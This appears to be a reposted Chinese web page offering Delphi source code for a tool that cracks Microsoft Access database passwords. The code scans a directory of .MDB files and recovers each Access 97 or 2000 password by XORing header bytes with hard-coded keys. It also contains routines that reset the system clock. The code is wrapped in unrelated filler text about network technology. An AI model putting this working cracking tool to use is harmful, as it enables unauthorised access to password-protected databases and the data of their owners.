破解ACCESS的数据库密码|萝卜系统

网络技术是从1990年代中期发展起来的新技术，它把互联网上分散的资源融为有机整体，实现资源的全面共享和有机协作，使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。当前的互联网只限于信息共享，网络则被认为是互联网发展的第三阶段。

unit GetAPass;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Variants, ComOBJ, StdCtrls, ExtCtrls, ComCtrls, FileCtrl, ActnList, ImgList,
  ToolWin;

const
  Model = 'yyyy-mm-dd hh:nn:ss';
type
  PassType = record
　 PassCode: string;
　 FileType: string;
　 FileTime: TDateTime;
  end;　　　　　　　　　　　　　　　
  TPassForm = class(TForm)
　 ListView1: TListView;
　 ImageList1: TImageList;
　 StatusBar1: TStatusBar;
　 Memo1: TMemo;
　 CoolBar1: TCoolBar;
　 ToolBar1: TToolBar;
　 ToolButton1: TToolButton;
　 ToolButton2: TToolButton;
　 ToolButton3: TToolButton;
　 ToolButton4: TToolButton;
　 ToolButton5: TToolButton;
　 ToolButton6: TToolButton;
　 ImageList2: TImageList;
　 Edit1: TEdit;
　 Pick1: TDateTimePicker;
　 Splitter1: TSplitter;
　 procedure CloseForm(Sender: TObject);
　 procedure FormCreate(Sender: TObject);
　 procedure FormDestroy(Sender: TObject);
　 procedure GetMDBDir(Sender: TObject);
　 procedure Edit1KeyPress(Sender: TObject; var Key: Char);
　 procedure CreateMDB(Sender: TObject);
　 procedure GetAllPass(Sender: TObject);
　 procedure SetCurTime(Sender: TObject);
  private
　 { Private declarations }
　 DateStr: DWord;
　 PassCode: WideString;
　 EncodeArray: array[0..19] of Word;
　 ReaderArray: array[0..19] of Word;
　 function ExecFile(FName: string): PassType;
　 procedure ExecDirectory(S: string);
　 function Make01(F: string; P: string = ''): boolean;
　 function Make02(F: string): boolean;
　 procedure SetTime(YY, MM, DD: Word); overload;
　 procedure SetTime(MYDate: TDate); overload;
  public
　 { Public declarations }
　 FileBox1: TFileListBox;
  end;

var
//2079-06-05前　[EC37　9CFA　28E6　8A60　7B36　DFB1　1343　B133　795B　7C2A ]
//2079-06-05后　[ED37　9DFA　29E6　8B60　7A36　DEB1　1243　B033　785B　7D2A ]
{ 固定密钥 }
  InhereCode: array[0..9] of Word =
  ($37EC, $FA9C, $E628, $608A, $367B, $B1DF, $4313, $33B1, $5B79, $2A7C);

{　活动密钥 }
  UserCode8: array[0..9] of Word = //89年9月17日前
  ($8B86, $345D, $2EC6, $C613, $E454, $02F5, $8477, $DFCF, $1134, $C592);
  UserCode: array[0..9] of Word = //89年9月17日后
  ($7B86, $C45D, $DEC6, $3613, $1454, $F2F5, $7477, $2FCF, $E134, $3592);

  InCode97: array[0..19] of byte = //Access 97 固定密钥
  ($86, $FB, $EC, $37, $5D, $44, $9C, $FA, $C6, $5E,
　 $28, $E6, $13, $00, $00, $00, $00, $00, $00, $00);
var
  PassForm: TPassForm;

implementation

{$R *.DFM}

procedure TPassForm.SetTime(YY, MM, DD: Word);
var
  myST: TSystemTime;
  MSec: Word;
begin
  with myST do begin
　 MyST.wYear := YY;
　 MyST.wMonth := MM;
　 MyST.wDay := DD;
　 DecodeTime(Time, wHour, wMinute, wSecond, MSec);
  end;
  try SetLocalTime(myST)except ShowMessage('Error'); end;
end;

procedure TPassForm.SetTime(MYDate: TDate);
var
  myST: TSystemTime;
  MSec: Word;
begin
  with myST do begin
　 DecodeDate(MyDate, wYear, wMonth, wDay);
　 DecodeTime(Time, wHour, wMinute, wSecond, MSec);
  end;
  try SetLocalTime(myST)except end;
end;

[page_break]procedure TPassForm.CreateMDB(Sender: TObject);
var
  Date0: TDate;
  Date1: TDate;
  Date2: TDate;
begin
{　Date0 := EncodeDate(1978, 7, 01);
  Date1 := EncodeDate(1989, 9, 17);
  Date2 := EncodeDate(2079, 6, 05); }
  //SetTime(Date0);
  Make01('D:\DB01.MDB', '112233大');
  //SetTime(Date1);
  Make01('D:\DB02.MDB', '甚至于');
  //SetTime(Date2);
  Make01('D:\DB03.MDB', '');
end;

procedure SetFTime(const FileName: string; DTime: TDateTime);
var
  Q: HFile;
  ST: TSystemTime;
  FT: TFileTime;
begin
  DateTimeToSystemTime(DTime, ST);
  SystemTimeToFileTime(ST, FT);
  LocalFileTimeToFileTime(FT, FT);
  Q := FileOpen(FileName, fmOpenWrite or fmShareDenyNone);
  SetFileTime(Q, @FT, @FT, @FT);
end;

function TempPath(): string;
var
  SPath, SFile: array[0..254] of char;
begin
  GetTempPath(254, SPath);
  GetTempFileName(SPath, '~SM', 0, SFile);
  result := SFile;
  DeleteFile(result);
end;

function TPassForm.Make01(F: string; P: string = ''): boolean;
var
  Linker: string;
  Access: OleVariant;
begin
  if FileExists(F) then DeleteFile(F);
  Linker :=
　 'Provider=Microsoft.Jet.OLEDB.4.0;Data ' +
　 'Source=%s;Jet OLEDB:Database Password=%s;';
  Access := CreateOleObject('ADOX.Catalog');
  Access.Create(format(Linker, [F, P]));
end;

function TPassForm.Make02(F: string): boolean;
var
  Access: OleVariant;
begin
  if FileExists(F) then DeleteFile(F);
  Access := CreateOleObject('Access.Application');
  Access.NewCurrentDatabase(F);
  Access.Quit;
  Access := null;
end;

procedure TPassForm.FormCreate(Sender: TObject);
begin
  Pick1.DateTime := Now;
  FileBox1 := TFileListBox.Create(nil);
  FileBox1.Visible := false;
  FileBox1.Parent := Self;
  FileBox1.Mask := '*.MDB';
end;

procedure TPassForm.FormDestroy(Sender: TObject);
begin
  FileBox1.Free;
end;

procedure TPassForm.ExecDirectory(S: string);
var
  i: integer;
  P: PassType;
begin
  FileBox1.Directory := S;
  ListView1.Items.BeginUpdate;
  ListView1.Items.Clear;
  for i := FileBox1.Count - 1 downto 0 do begin
　 S := FileBox1.Items[i];
　 P := ExecFile(S);
　 if P.PassCode = '' then Continue;
　 with ListView1.Items.Add do begin
　　 Caption := S;
　　 ImageIndex := 0;
　　 SubItems.Add(P.FileType);
　　 SubItems.Add(P.PassCode);
　　 SubItems.Add(FormatDateTime(model, P.FileTime));
　 end;
　 ListView1.Items.EndUpdate;
  end;
end;

[page_break]procedure TPassForm.GetMDBDir(Sender: TObject);
var
  S: string;
begin
  if not SelectDirectory('选择数据库目录', '', S) then Exit;
  Edit1.Text := S;
  ExecDirectory(S);
end;

procedure TPassForm.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
  if Key <> #13 then Exit;
  if Trim(Edit1.Text) = '' then Exit;
  ExecDirectory(Edit1.Text);
end;

procedure TPassForm.CloseForm(Sender: TObject);
begin
  Close;
end;

function TPassForm.ExecFile(FName: string): PassType;
  function CovTime(FD: _FileTime): TDateTime;
  var
　 TCT: _SystemTime;
　 Tmp: _FileTime;
  begin
　 FileTimeToLocalFileTime(FD, Tmp);
　 FileTimeToSystemTime(Tmp, TCT);
　 Result := SystemTimeToDateTime(TCT);
  end;

var
  Stream: TFileStream;
  i, n: integer;
  TP: TSearchRec;
  WTime: TDateTime;
  WSec: DWord;
  M, S: string;
  Buf: array[0..200] of byte;
  Date0: TDateTime;
  Date1: TDateTime;
  Date2: TDateTime;
const
  XorStr = $823E6C94;
begin
  FindFirst(FName, faAnyFile, TP);
//　FT := CovTime(TP.FindData.ftCreationTime);

  Stream := TFileStream.Create(FName, fmOpenReadWrite);
  Stream.Seek($00, 00); Stream.Read(Buf[0], 200);
  if Buf[$14] = 0 then begin
　 PassCode := '';
　 Stream.Seek($42, 00); Stream.Read(Buf[0], 20);
　 for i := 0 to 19 do
　　 PassCode := PassCode + chr(Buf[i] xor InCode97[i]);
　 Result.PassCode := PassCode;
　 Result.FileType := 'ACCESS-97';
　 Result.FileTime := Now;
　 Exit; // 按Access97版本处理
  end;

  Date0 := EncodeDate(1978, 7, 01);
  Date1 := EncodeDate(1989, 9, 17);
  Date2 := EncodeDate(2079, 6, 05);

  Stream.Seek($42, 00); Stream.Read(ReaderArray[0], 40);
  Stream.Seek($75, 00); Stream.Read(DateStr, 4);
  Stream.Free;
  for i := $42 to $42 + 55 do begin
　 if i = $72 then M := '-' else M := '';
　 S := S + #32 + M + IntToHex(Buf[i], 2);
  end;
  Delete(S, 1, 1);
  Memo1.Lines.Add(Format(
　 '数据库文件名：%s，%s' +
　 '10进制时间串：%d，%s' +
　 '16进制时间串：%x，%s' +
　 '数据库密码串：%s',
　 [FName, #13#10, DateStr, #13#10, DateStr, #13#10, #13#10 + S + #13#10]));

  if (DateStr >= $90000000) and (DateStr < $B0000000) then begin
　 WSec := DateStr xor $903E6C94;
　 WTime := Date2 + WSec / 8192 * 2;
  end else begin
　 WSec := DateStr xor $803E6C94;
　 WTime := Date1 + WSec / 8192;
　 if WSec and $30000000 <> 0 then begin
　　 WSec := $40000000 - WSec;
　　 WTime := Date1 - WSec / 8192 / 2;
　 end;
  end;
  Memo1.Lines.Add('创建时间：' + DateTimeToStr(WTime));
  if WTime < Date1 then begin
　 for i := 0 to 9 do begin
　　 EncodeArray[i * 2] := (Trunc(WTime) - Trunc(Date0)) xor UserCode[i] xor $F000;
　　 // Xor $F000 就是“高位取反”
　　 EncodeArray[i * 2 + 1] := InhereCode[i];
　 end;
  end;
  if (WTime >= Date1) and (WTime < Date2) then begin
　 for i := 0 to 9 do begin
　　 EncodeArray[i * 2] := (Trunc(WTime) - Trunc(Date1)) xor UserCode[i];
　　 EncodeArray[i * 2 + 1] := InhereCode[i];
　 end;
  end;
  if WTime >= Date2 then begin
　 for i := 0 to 9 do begin
　　 EncodeArray[i * 2] := (Trunc(WTime) - Trunc(Date1)) xor UserCode[i];
　　 EncodeArray[i * 2 + 1] := InhereCode[i] xor 1;
　　 // Xor 1 就是“末位取反”
　 end;
  end;
  PassCode := '';
  for i := 0 to 19 do begin
　 N := EncodeArray[i] xor ReaderArray[i];
//　　if N <> 0 then PassCode := PassCode + Chr(N);
　 if N <> 0 then PassCode := PassCode + WideChar(N);
  end;
  Result.FileType := 'ACCESS-2000';
  Result.FileTime := WTime;
  Result.PassCode := PassCode;
end;

procedure TPassForm.GetAllPass(Sender: TObject);
begin
  Memo1.Clear;
  Memo1.Lines.BeginUpdate;
  if Trim(Edit1.Text) = '' then Exit;
  ExecDirectory(Edit1.Text);
  Memo1.Lines.EndUpdate;
end;

procedure TPassForm.SetCurTime(Sender: TObject);
begin
  Self.SetTime(Pick1.Date);
end;

end.

网络的神奇作用吸引着越来越多的用户加入其中，正因如此，网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......，各项技术都需要适时应势，对应发展，这正是网络迅速走向进步的催化剂。

……

标签:破解ACCESS的数据库密码